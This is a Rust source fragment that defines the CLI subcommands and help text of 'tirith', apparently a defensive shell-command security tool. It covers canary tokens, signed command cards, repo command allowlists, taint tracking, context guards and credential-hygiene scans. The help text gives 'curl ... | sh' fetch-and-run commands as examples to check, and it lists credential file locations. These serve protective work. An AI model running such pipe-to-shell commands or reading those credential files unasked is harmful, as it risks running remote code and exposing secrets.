    ExplainConfig {
        /// Path to the AI-config file to explain.
        file: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show the AI-config snapshot, or (--update) record a fresh one
    #[command(after_help = "\
Without --update: shows the current snapshot's path, age, and file count.
With --update: re-scans the AI-config files and records a fresh snapshot at
<state-dir>/ai_config_snapshot.json, written atomically. --update REFUSES to
snapshot if the scan finds any High+ issue (so you do not bless a compromised
state) unless --force is also passed.

Examples:
  tirith ai snapshot
  tirith ai snapshot --json
  tirith ai snapshot --update
  tirith ai snapshot --update --force")]
    Snapshot {
        /// Re-scan the AI-config files and record a fresh snapshot.
        #[arg(long)]
        update: bool,
        /// With --update, record the snapshot even when High+ issues are found
        /// (otherwise --update refuses to bless a compromised state).
        /// Meaningless without --update, so clap requires it.
        // Internal: M13 PR #132 finding O (kept out of `--help`).
        #[arg(long, requires = "update")]
        force: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum CanaryAction {
    /// Generate and store a fresh synthetic canary token
    #[command(after_help = "\
Generates a clearly-synthetic token of the chosen kind, stores it in the local
canary store, and prints the token so you can plant it. The token can never be
mistaken for a real credential (see docs/canary-formats.md).

<kind> is one of: aws-like, github-like, gcp-like, env-line, private-key-shaped.

--callback-url is OPT-IN and must be a public HTTPS URL YOU self-host. On
detection, a best-effort POST of {kind, detected_at, context} (NEVER the token
value) is sent to it; failures are logged and never block. Omit it for the
local-only default (no network ever).

Examples:
  tirith canary create aws-like
  tirith canary create github-like --callback-url https://my-host.example/hit
  tirith canary create env-line --json")]
    Create {
        /// The token kind: aws-like, github-like, gcp-like, env-line, or
        /// private-key-shaped.
        kind: String,
        /// OPT-IN, public user-self-hosted callback URL (HTTPS by default). On detection a
        /// best-effort POST of {kind, detected_at, context} — never the token
        /// value — is sent here. Omit for local-only (the default).
        #[arg(long = "callback-url")]
        callback_url: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show a compact canary summary (count, callbacks, store path)
    #[command(after_help = "\
Prints how many canaries are registered, how many use an opt-in callback, and
where the store lives. Does NOT print token values (use `tirith canary list`).

Examples:
  tirith canary status
  tirith canary status --json")]
    Status {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// List every registered canary (id, kind, token, callback)
    #[command(after_help = "\
Examples:
  tirith canary list
  tirith canary list --json")]
    List {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Remove one canary by id (prompts for confirmation)
    #[command(after_help = "\
Prompts before removing unless --yes is passed. In a non-interactive shell
without --yes the removal is refused (no silent prune). In --json mode, --yes is
required to confirm. A pruned canary's token stops firing.

Examples:
  tirith canary prune a1b2c3d4e5f6
  tirith canary prune a1b2c3d4e5f6 --yes")]
    Prune {
        /// The canary id to remove (from `tirith canary list`).
        id: String,
        /// Skip the confirmation prompt.
        #[arg(long)]
        yes: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Regenerate a canary's token, keeping its id and callback URL
    #[command(after_help = "\
Generates a fresh token of the SAME kind for an existing canary, preserving the
id and any callback URL. The OLD token stops firing; the NEW one fires going
forward. Use after a canary hit to re-arm the bait.

Exit codes:
  0  rotated (fresh token generated)
  1  no canary with that id

Examples:
  tirith canary rotate a1b2c3d4e5f6
  tirith canary rotate a1b2c3d4e5f6 --json")]
    Rotate {
        /// The canary id to rotate (from `tirith canary list`).
        id: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum CommandCardAction {
    /// Build an unsigned command card and print it as JSON
    #[command(after_help = "\
Flag-driven when --command is supplied; otherwise prompts for the command on
the terminal. The card is printed as pretty JSON on stdout, so you can redirect
it to a file. New cards store only a shell-bound command digest; the raw command
and credential paths are never persisted. Raw private keys, mnemonics, and raw
keypairs are refused. Sign the card next with `tirith command-card sign`.

If --expires is omitted, the card expires 90 days from today.

Examples:
  tirith command-card create --command 'curl -fsSL https://example.com/install.sh | sh' > card.json
  tirith command-card create --command 'sh ./setup.sh' --requires-sudo --writes /etc/foo
  tirith command-card create --command 'x' --expected-domain example.com --expected-domain github.com/example/project")]
    Create {
        /// The exact command to digest and attest to. Prompts if omitted; the
        /// raw value is not stored in newly-created cards.
        #[arg(long)]
        command: Option<String>,
        /// Shell dialect under which the command will execute.
        #[arg(long, default_value = "posix")]
        shell: String,
        /// A domain (or host/path prefix) the command is expected to contact.
        /// Repeatable.
        #[arg(long = "expected-domain")]
        expected_domain: Vec<String>,
        /// SHA-256 (hex) of the script the command downloads/pipes, if any.
        /// RECORDED-BUT-NOT-ENFORCED: it is part of the signed
        /// attestation, but `tirith check` does NOT fetch the script to compare
        /// it (the hot path never makes network calls). v1 verifies only the
        /// signature, expiry, and shell-bound command digest.
        #[arg(long)]
        script_sha256: Option<String>,
        /// A filesystem path the command is expected to write. Repeatable.
        #[arg(long = "writes")]
        writes: Vec<String>,
        /// Mark the command as legitimately requiring sudo.
        #[arg(long)]
        requires_sudo: bool,
        /// Expiry date (YYYY-MM-DD). Defaults to 90 days from today.
        #[arg(long)]
        expires: Option<String>,
        /// Output format (default: human; the card itself is always JSON).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Sign a command card in place with an ed25519 private key
    #[command(after_help = "\
Reads the card JSON, signs the canonical (signature-cleared) payload with the
supplied ed25519 private key, and rewrites the file with the `signature` block
populated (algo, key_id, hex value). The key file may be 32 raw bytes, hex, or
base64. The key_id stamped on the card is the first 16 hex chars of
sha256(public-key). Unsigned legacy cards are migrated in place to the
privacy-safe shell-bound command-digest schema before signing.

Schema-3 cards require `--command` at signing time. Tirith verifies it against
the stored digest before producing a signature and never writes it to the card.

Examples:
  tirith command-card sign --key ed25519-priv.bin --command 'sh ./setup.sh' install-card.json")]
    Sign {
        /// Path to the ed25519 private key (32 raw bytes, hex, or base64).
        #[arg(long)]
        key: String,
        /// Shell dialect to bind when promoting schema v1 or migrating a
        /// legacy schema-v2 Web3 card that has no shell binding.
        #[arg(long, default_value = "posix")]
        shell: String,
        /// Re-supply the reviewed command when signing a privacy-safe card.
        /// Required for schema 3 so the signer verifies the opaque digest.
        #[arg(long)]
        command: Option<String>,
        /// Path to the card JSON to sign in place.
        card: String,
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Verify a command card against your trusted-card-keys directory
    #[command(after_help = "\
Verifies the card's ed25519 signature against a public key under
`trusted-card-keys/<key_id>.pub` in tirith's config dir (`~/.config/tirith/` on
Linux; the platform config dir on macOS/Windows) and checks the card has not
expired. Does NOT check the command — use `tirith check --card` for the
command-vs-card match.

Exit codes:
  0  verified (trusted key, good signature, not expired)
  1  NOT verified (untrusted key / bad signature / expired / unsigned)

Examples:
  tirith command-card verify install-card.json
  tirith command-card verify install-card.json --json")]
    Verify {
        /// Path to the card JSON to verify.
        card: String,
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Download a card from a URL into the local cache (the ONLY fetch path)
    #[command(after_help = "\
Downloads the card from <url> (30s timeout, 10 MiB cap, redirect-limited),
validates it parses as a card, and caches it under tirith's cache directory at
`cards/<sha256>.json` (the platform cache dir — e.g. ~/.cache on Linux,
~/Library/Caches on macOS). Prints the cached path on stdout so you can pass it
to `tirith check --card`.

This is the ONLY place tirith fetches a card over the network. `tirith check`
never fetches — it reads cards from disk only.

PRIVACY: fetching reveals to the maintainer's domain that a tirith user is
pulling their card (your IP + a timestamp). This is inherent to fetching a
remote resource.

Examples:
  tirith command-card fetch https://example.com/install-card.json
  CARD=$(tirith command-card fetch https://example.com/install-card.json)
  tirith check --card \"$CARD\" -- 'curl -fsSL https://example.com/install.sh | sh'")]
    // Unix-only: reuses the `#[cfg(unix)]` hardened `runner::download_to_path`.
    #[cfg(unix)]
    Fetch {
        /// URL of the card to download.
        url: String,
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum RepoCommandsAction {
    /// Write a starter .tirith/commands.yaml for this repo
    #[command(after_help = "\
Writes a starter manifest with example `allowed[]` and `dangerous[]` entries to
<repo-root>/.tirith/commands.yaml (or the current directory when not in a git
repo). Refuses to overwrite an existing file unless --force is passed, so a
hand-edited manifest is never clobbered.

Examples:
  tirith commands init
  tirith commands init --force")]
    Init {
        /// Overwrite an existing .tirith/commands.yaml.
        #[arg(long)]
        force: bool,
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// List the catalogued allowed[] / dangerous[] entries
    #[command(after_help = "\
Prints the `allowed[]` commands (name + command) and `dangerous[]` glob
patterns from this repo's .tirith/commands.yaml.

Examples:
  tirith commands list
  tirith commands list --json")]
    List {
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Run an allowed[] command by name (re-checked through the engine first)
    #[command(after_help = "\
Looks up the named entry under `allowed[]` and executes its command through the
shell. Being on the allowlist suppresses only the `repo_command_unknown`
annotation — it does NOT make a command safe to run blindly, so the resolved
command is re-checked through the engine first and REFUSED if tirith blocks it
(a `dangerous[]` match or any real High/Critical finding). Warn/WarnAck findings
require acknowledgement from the controlling terminal; non-interactive automation
must pass --yes explicitly. Piped stdin is never accepted as acknowledgement.
The run is audited only after the command successfully spawns.

Examples:
  tirith commands run test
  tirith commands run build --yes")]
    Run {
        /// The `allowed[].name` of the command to run.
        name: String,
        /// Explicitly acknowledge Warn/WarnAck findings for intentional automation.
        #[arg(long)]
        yes: bool,
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Evaluate an arbitrary command against the manifest + engine
    #[command(after_help = "\
Evaluates the command after `--` against this repo's .tirith/commands.yaml AND
the full tirith engine. An uncatalogued command surfaces an Info
`repo_command_unknown`; a `dangerous[]` glob match adds a blocking
`repo_command_dangerous_pattern`; a command the engine flags High/Critical
blocks regardless of the manifest. Exit code follows the verdict
(0 allow, 1 block, 2 warn). POSIX commands may use multiple argv parts. Fish,
PowerShell, and Cmd commands must be one already-formed string after `--`.

Examples:
  tirith commands check -- \"npm run build\"
  tirith commands check -- \"curl https://example.com/install.sh | bash\"")]
    Check {
        /// Shell dialect for tokenization (posix, powershell, fish, cmd).
        #[arg(long, default_value = "posix")]
        shell: String,
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
        /// The command to evaluate. Non-POSIX shells require one already-formed
        /// string after `--`; multi-part reconstruction is refused.
        #[arg(last = true, required = true)]
        cmd: Vec<String>,
    },
}

#[derive(Subcommand)]
enum TaintAction {
    /// List every recorded tainted file
    #[command(after_help = "\
Examples:
  tirith taint list
  tirith taint list --json")]
    List {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show the recorded taint mark for one file (where it came from)
    #[command(after_help = "\
Exit codes:
  0  the file is NOT tainted.
  1  the file IS tainted (review it, then `tirith taint clear <file>`).

Examples:
  tirith taint explain ./install.sh
  tirith taint explain ./install.sh --json")]
    Explain {
        /// Path to inspect.
        file: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Remove the taint mark for one file (prompts for confirmation)
    #[command(after_help = "\
Prompts before removing the mark unless --yes is passed. In a non-interactive
shell without --yes the removal is refused (no silent clear). In --json mode,
--yes is required to confirm.

Examples:
  tirith taint clear ./install.sh
  tirith taint clear ./install.sh --yes")]
    Clear {
        /// Path whose taint mark to remove.
        file: String,
        /// Skip the confirmation prompt.
        #[arg(long)]
        yes: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum BaselineAction {
    /// Turn the opt-in anomaly baseline ON (sets policy.baseline_enabled = true)
    #[command(after_help = "\
Enables learning. After this, tirith records a privacy-hashed observation for
every detection-rule firing and surfaces an Info 'first time / rare for you'
note for novel patterns. No raw hostnames or paths are stored — only salted
hashes. It never blocks. Expect early-baseline mode (everything looks new)
until the window fills in.

Examples:
  tirith baseline learn
  tirith baseline learn --json")]
    Learn {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show the top 20 patterns (privacy-hashed) and the enabled flag
    #[command(after_help = "\
Prints whether the baseline is enabled, how many observations are in the 90-day
window, an early-baseline-mode note while the window is sparse, and the top 20
patterns by count. All identifying fields are salted-sha256 hashes — never raw
hostnames or paths.

Examples:
  tirith baseline status
  tirith baseline status --json")]
    Status {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Zero the baseline store (prompts for confirmation)
    #[command(after_help = "\
Removes every recorded observation. Prompts before zeroing unless --yes is
passed. In a non-interactive shell without --yes the reset is refused (no silent
zero). In --json mode, --yes is required to confirm. The per-install salt is
left in place.

Examples:
  tirith baseline reset
  tirith baseline reset --yes")]
    Reset {
        /// Skip the confirmation prompt.
        #[arg(long)]
        yes: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum ContextAction {
    /// List the active kube / aws / gcp / azure contexts + their labels
    #[command(after_help = "\
Examples:
  tirith context status
  tirith context status --json")]
    Status {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Turn the operational-context rule on or off (writes to policy.yaml)
    #[command(after_help = "\
Examples:
  tirith context guard on
  tirith context guard off
  tirith context guard status")]
    Guard {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Label a `provider:context` entry with a criticality string
    #[command(after_help = "\
Provider is one of: kube, aws, gcp, azure.
Criticality is one of: critical, production, prod, live, p0, p1, p2, staging, dev, test
(case-insensitive; the first six are the values that fire the guard rule).

Examples:
  tirith context label kube:prod-us-east critical --scope user
  tirith context label aws:prod production --scope user
  tirith context label gcp:svc@my-prod-project critical --scope repo")]
    Label {
        /// `provider:context` key (e.g. `kube:prod-us-east`).
        label_key: String,
        /// Criticality string. `critical` / `production` / `prod` / `live`
        /// / `p0` / `p1` trigger the guard rule; others (`staging`, `dev`,
        /// `test`, `p2`) record the label without enforcement.
        criticality: String,
        /// Where to write the label file. `user` →
        /// `~/.config/tirith/context-labels.yaml`. `repo` →
        /// `<repo>/.tirith/context-labels.yaml`.
        #[arg(long, default_value = "user")]
        scope: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum SshAction {
    /// Turn the operational-context rule on or off (shared with `tirith context guard`)
    #[command(after_help = "\
Examples:
  tirith ssh guard on
  tirith ssh guard off
  tirith ssh guard status

Note: This flips the SAME `context_guard_enabled` policy field that
`tirith context guard` operates on — there is one operator switch for
both cloud-CLI and SSH operational-context rules.")]
    Guard {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Label an SSH host (or `user@host`) with a criticality string
    #[command(after_help = "\
Criticality is one of: critical, production, prod, live, p0, p1, p2,
staging, dev, test (case-insensitive; the first six fire the guard rule).

`~/.ssh/config` aliases are resolved at label time via `ssh -G <host>` so
the labels file stores the final hostname; an operator who labels
`prod-host` and later runs `ssh prod-host.example.com` still gets a match.

Examples:
  tirith ssh label payments-prod-01 critical --scope user
  tirith ssh label root@payments-prod-01 critical --scope repo
  tirith ssh label prod-shortname production --scope user")]
    Label {
        /// SSH host (bare host or `user@host`). May be an `~/.ssh/config`
        /// alias — `ssh -G <host>` resolves the canonical hostname at
        /// label time.
        host: String,
        /// Criticality string. `critical` / `production` / `prod` / `live`
        /// / `p0` / `p1` trigger the guard rule; others (`staging`, `dev`,
        /// `test`, `p2`) record the label without enforcement.
        criticality: String,
        /// Where to write the label file. `user` →
        /// `~/.config/tirith/ssh-host-labels.yaml`. `repo` →
        /// `<repo>/.tirith/ssh-host-labels.yaml`.
        #[arg(long, default_value = "user")]
        scope: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Cross-host binary bootstrap — deferred to M8.1
    #[command(after_help = "\
DEFERRED to the M8.1 follow-up PR. Cross-host binary deploy needs PATH /
libc / sudoers field validation that hasn't shipped yet. For now use
`tirith ssh label <host> <criticality>` to label the host and run
`tirith ssh guard on` to enable the rule.")]
    Bootstrap {
        /// Target host (bare host or `user@host`).
        target: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum IacAction {
    /// Turn the shared operational-context rule on or off
    #[command(after_help = "\
Examples:
  tirith iac guard on
  tirith iac guard off
  tirith iac guard status

Note: This flips the SAME `context_guard_enabled` policy field that
`tirith context guard` and `tirith ssh guard` operate on — one operator
switch silences ALL operational-context findings (cloud CLI, SSH, IaC).")]
    Guard {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Parse a saved IaC plan, record its SHA-256, and report the change summary
    #[command(after_help = "\
Examples:
  tirith iac check-plan tfplan
  tirith iac check-plan --tool pulumi ./plan.json
  tirith iac check-plan --json tfplan

Tool detection:
  Auto-detected from sibling files in the plan's parent directory
  (`Pulumi.yaml` → pulumi, `tofu.lock.hcl` → tofu, otherwise terraform).
  Pass `--tool` to override.")]
    CheckPlan {
        /// Path to the saved plan file. Terraform binary plans are
        /// passed to `terraform show -json` for parsing; Pulumi JSON
        /// plans are read directly.
        plan: std::path::PathBuf,

        /// Force a specific tool (terraform | pulumi | tofu). When
        /// unset, the tool is detected from sibling files.
        #[arg(long)]
        tool: Option<String>,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Toggle the plan-before-apply gate (engine refuses bare `apply`)
    #[command(after_help = "\
When ON, `terraform apply` (no plan file) fires `iac_apply_without_plan`
at High severity; `terraform apply tfplan` where the file's SHA-256
does NOT match a `tirith iac check-plan`-recorded hash fires
`iac_plan_hash_mismatch` at High severity.

Examples:
  tirith iac require-plan-before-apply on
  tirith iac require-plan-before-apply off
  tirith iac require-plan-before-apply status")]
    RequirePlanBeforeApply {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum SudoAction {
    /// Turn the shared operational-context rule on or off
    #[command(after_help = "\
Examples:
  tirith sudo guard on
  tirith sudo guard off
  tirith sudo guard status

Note: This flips the SAME `context_guard_enabled` policy field that
`tirith context guard`, `tirith ssh guard`, and `tirith iac guard` operate
on — one operator switch silences ALL operational-context findings
(cloud CLI, SSH, IaC, sudo).")]
    Guard {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Open / close / report a tagged sudo-session window
    #[command(after_help = "\
Session windows record `{started_at, ttl, reason}` under
`state_dir()/sudo-session.json`. When `policy.sudo_require_reason` is ON,
an active session downgrades the five M8 ch4 sudo rules from High to
Medium so the audit trail records intent without blocking.

The TTL check tolerates ±60s clock skew (NTP drift, container time-warp).
The file is user-writable — labels are operator-trust, not adversary-
resistant.

Examples:
  tirith sudo session start --ttl 30m --reason \"rotating cert\"
  tirith sudo session start --ttl 1h
  tirith sudo session status
  tirith sudo session status --json
  tirith sudo session end")]
    Session {
        #[command(subcommand)]
        action: SudoSessionAction,
    },

    /// Toggle the `sudo_require_reason` policy gate
    #[command(after_help = "\
When ON, an active sudo-session downgrades the five M8 ch4 sudo rules
from High to Medium. `tirith sudo session start` requires a `--reason`
flag when this is ON. When OFF (the default), the session file is
consulted purely for status reporting — every sudo rule fires at its
baseline High severity.

Examples:
  tirith sudo require-reason on
  tirith sudo require-reason off
  tirith sudo require-reason status")]
    RequireReason {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum SudoSessionAction {
    /// Open a sudo-session window
    #[command(after_help = "\
TTL accepts `90s`, `5m`, `2h`, `1d`, or bare seconds. Default is 30m
unless `policy.sudo_session_ttl` is set.

Examples:
  tirith sudo session start --ttl 30m --reason \"rotating cert\"
  tirith sudo session start --reason \"deploying\"")]
    Start {
        /// Session lifetime (e.g. `30m`, `2h`, `90s`). When omitted,
        /// falls back to `policy.sudo_session_ttl` then the 30-minute
        /// built-in default.
        #[arg(long)]
        ttl: Option<String>,
        /// Operator-supplied reason string (free-form). Required when
        /// `policy.sudo_require_reason` is on.
        #[arg(long)]
        reason: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Clear the active sudo-session window
    End {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Report whether a sudo session is active + how much TTL remains
    Status {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum DevcontainerAction {
    /// Turn the shared operational-context rule on or off
    #[command(after_help = "\
Examples:
  tirith devcontainer guard on
  tirith devcontainer guard off
  tirith devcontainer guard status

Note: This flips the SAME `context_guard_enabled` policy field that
`tirith context guard`, `tirith ssh guard`, `tirith iac guard`, and
`tirith sudo guard` operate on — one operator switch silences ALL
operational-context findings (cloud CLI, SSH, IaC, sudo, container).")]
    Guard {
        /// One of: on, off, status.
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Inject the tirith hook into devcontainer.json (idempotent)
    #[command(after_help = "\
What it writes:
  Adds a dedicated `postCreateCommand` entry that runs
  `[\"tirith\", \"init\", \"--shell\", \"auto\"]`
  AND sets `containerEnv.TIRITH_DEVCONTAINER=1` so commands inside the
  container know they are inside a tirith-wired devcontainer.

Idempotency:
  Re-running with the exact managed hook already in place is a no-op. Existing
  string, argv, and multi-command lifecycle entries are preserved and Tirith
  runs as an independent lifecycle command.

JSONC:
  devcontainer.json is JSONC: comments and trailing commas are accepted.
  tirith strips them before parsing and re-emits a clean JSON file on
  update; existing fields tirith does NOT modify are preserved
  semantically (formatting is re-flowed by serde_json::to_string_pretty).

Examples:
  tirith devcontainer inject
  tirith devcontainer inject --path /workspaces/myrepo
  tirith devcontainer inject --create
  tirith devcontainer inject --create --json")]
    Inject {
        /// Repository / workspace path. Defaults to the current
        /// working directory.
        #[arg(long)]
        path: Option<std::path::PathBuf>,
        /// Create a minimal devcontainer.json if one does not exist
        /// under `<path>/.devcontainer/`.
        #[arg(long)]
        create: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum CodespacesAction {
    /// Bootstrap a codespace-ready devcontainer.json + .gitignore entry
    #[command(after_help = "\
What it does:
  1. Locate (or create) `.devcontainer/devcontainer.json` under <path>.
  2. Add the tirith hook (`postCreateCommand` + `TIRITH_DEVCONTAINER=1`).
  3. Append `.tirith/` to <path>/.gitignore so per-codespace state
     never leaks into the operator's repo.

Idempotent — re-running on an already-wired repo is a no-op.

Examples:
  tirith codespaces setup
  tirith codespaces setup --path /workspaces/myrepo
  tirith codespaces setup --json")]
    Setup {
        /// Repository / workspace path. Defaults to the current
        /// working directory.
        #[arg(long)]
        path: Option<std::path::PathBuf>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Alias of `tirith devcontainer inject` in the codespaces namespace
    #[command(after_help = "\
Identical to `tirith devcontainer inject`. Use either one — they share
the same implementation.

Examples:
  tirith codespaces inject
  tirith codespaces inject --create
  tirith codespaces inject --path /workspaces/myrepo")]
    Inject {
        /// Repository / workspace path. Defaults to the current
        /// working directory.
        #[arg(long)]
        path: Option<std::path::PathBuf>,
        /// Create a minimal devcontainer.json if one does not exist.
        #[arg(long)]
        create: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum HygieneAction {
    /// Walk sensitive paths + the repo root and report hygiene issues
    #[command(after_help = "\
What it walks:
  ~/.ssh (private-key perms, config Include directives), ~/.aws
  (credentials perms), ~/.kube/config (perms), ~/.npmrc + ~/.pypirc
  (plaintext tokens), ~/.gitconfig (credential.helper = store), shell
  histories (credential-shaped text via the shipping credential
  detector — no new regex), and the current repo root for stray
  *.dump / *.sql / world-readable *.env* files.

Exit codes:
  0  no High/Critical finding (clean, or only Medium/Low).
  1  at least one High/Critical finding.

Examples:
  tirith hygiene scan
  tirith hygiene scan --json")]
    Scan {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Apply chmod-only fixes (never moves / edits / deletes files)
    #[command(after_help = "\
What it fixes:
  ONLY loose file permissions, via `chmod 0600`. Token / location /
  config problems are reported with guidance but NEVER auto-applied.
  tirith never moves, edits, or deletes your files.

Confirmation:
  By default each chmod is confirmed interactively. `--yes` applies
  every chmod fix without prompting. `--dry-run` previews and applies
  nothing. In a non-TTY context without `--yes`, every fix is skipped.

Exit codes:
  0  nothing to fix, all fixes applied, or dry-run completed.
  1  at least one chmod fix failed to apply.

Examples:
  tirith hygiene fix --dry-run
  tirith hygiene fix
  tirith hygiene fix --yes
  tirith hygiene fix --yes --json")]
    Fix {
        /// Show what would change without applying anything.
        #[arg(long)]
        dry_run: bool,
        /// Apply every chmod fix without per-finding confirmation.
        #[arg(long)]
        yes: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
